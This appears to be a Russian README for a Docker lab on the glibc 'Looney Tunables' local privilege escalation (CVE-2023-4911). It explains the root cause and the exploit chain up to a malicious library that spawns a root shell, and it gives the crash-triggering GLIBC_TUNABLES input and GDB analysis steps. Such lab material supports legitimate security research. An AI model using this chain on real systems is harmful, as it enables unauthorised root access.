
Лаборатория на базе Docker для анализа и эксплуатации CVE-2023-4911 (Looney Tunables), переполнение буфера в glibc ld.so, приводящее к локальному повышению привилегий. Включает PoC, анализ с помощью GDB и среду для разработки эксплойтов.
Docker-среда для анализа уязвимости переполнения буфера в динамическом загрузчике GNU C Library (glibc) (Local Privilege Escalation) и разработки эксплойта.
| Пункт | Содержание |
|---|---|
| Номер CVE | CVE-2023-4911 |
| Псевдоним | Looney Tunables |
| Уязвимая версия | GNU C Library (glibc) 2.34 ~ 2.38 |
| Уязвимая версия | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 и ниже |
| Исправленная версия | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| Тип | Buffer Overflow in ld.so |
| Воздействие | Local Privilege Escalation (обычный пользователь → root) |
| Обнаружено | Qualys Security Research Team |
Динамический загрузчик glibc (ld.so) при выполнении программы разбирает переменную окружения GLIBC_TUNABLES.
При выполнении SUID-бинария устанавливается __libc_enable_secure = 1, и ld.so входит в путь кода, который обнуляет (nullify) эту переменную окружения.
В этом процессе из-за неправильного вычисления длины для ввода вида tunable1=tunable2=value происходит переполнение буфера.
Обычный бинарник: __libc_enable_secure = 0 → код nullify не выполняется → уязвимости нет
SUID-бинарник: __libc_enable_secure = 1 → код nullify выполняется → происходит переполнение буфера
Поток эксплойта:
Переполнение GLIBC_TUNABLES
↓
Перезапись указателя link_map в BSS ld.so
↓
Изменение пути поиска библиотек на evil_lib/
↓
Загрузка evil.so → автоматическое выполнение constructor
↓
setuid(0) + execve("/bin/bash") → получение root shell
Эта среда спроектирована с целью выйти за рамки простого запуска PoC и прямо проанализировать механизм работы уязвимости и разработать эксплойт.
ld.so и исполняемого бинарникаresearcher) до rootCVE-2023-4911/
├── Dockerfile # Определение образа уязвимой среды (многоэтапная сборка)
├── run.sh # Скрипт управления сборкой/запуском Docker
├── check_environment.sh # Автоматическая проверка среды при запуске контейнера
├── poc/
│ ├── exploit.py # Базовый PoC — для проверки crash (SIGSEGV)
│ ├── exploit_lpe.py # LPE эксплойт — завершается после анализа через GDB
│ └── evil_lib/
│ ├── evil.c # Вредоносная разделяемая библиотека для получения root shell
│ └── Makefile
└── test_targets/
├── test_suid.c # Исходник SUID-тестового бинарника
└── test_heap.c # Исходник тестового бинарника для выделения кучи
./run.sh build && ./run.sh run
При запуске контейнера потребуется пароль sudo.
Пароль: password
# Проверка возникновения SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# Прямой запуск
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# Анализ непосредственно внутри контейнера
gdb -q /workspace/test_targets/test_suid
# Удалённая отладка (gdbserver)
# Внутри контейнера
gdbserver :1234 /workspace/test_targets/test_suid
# На локальном хосте
gdb
(gdb) target remote localhost:1234
После анализа OVERFLOW_OFFSET и TARGET_ADDR с помощью GDB обновите значения в начале exploit_lpe.py и выполните.
python3 /workspace/poc/exploit_lpe.py
# Положение уязвимой функции
/workspace/glibc-source/elf/dl-tunables.c
# Основные функции
__tunables_init() # Точка входа
parse_tunables() # Место возникновения переполнения
tunables_strdup() # Выделение буфера
# Отслеживание системных вызовов через strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# Анализ __tunables_init в GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
Эта среда предназначена только для образовательных целей и исследований в области безопасности.
--privileged, поэтому используйте только в изолированной среде.| Команда | Описание |
|---|
./run.sh build | Сборка Docker-образа |
./run.sh run | Запуск контейнера в интерактивном режиме |
./run.sh analysis | Запуск в режиме анализа |
./run.sh test | Быстрая проверка уязвимости |
./run.sh clean | Очистка образа и контейнера |
| Параметр | Значение |
|---|
| Базовый образ | ubuntu:jammy-20230916 (до исправления) |
| Версия glibc | 2.35-0ubuntu3.3 (уязвимая) |
| Версия ld.so | 2.35-0ubuntu3.3 (уязвимая) |
| Учётная запись анализа | researcher / password |
| Исходники glibc | /workspace/glibc-source (2.35) |
| Основной порт | 1234 (gdbserver) |
| Опции контейнера | --privileged, --pid=host |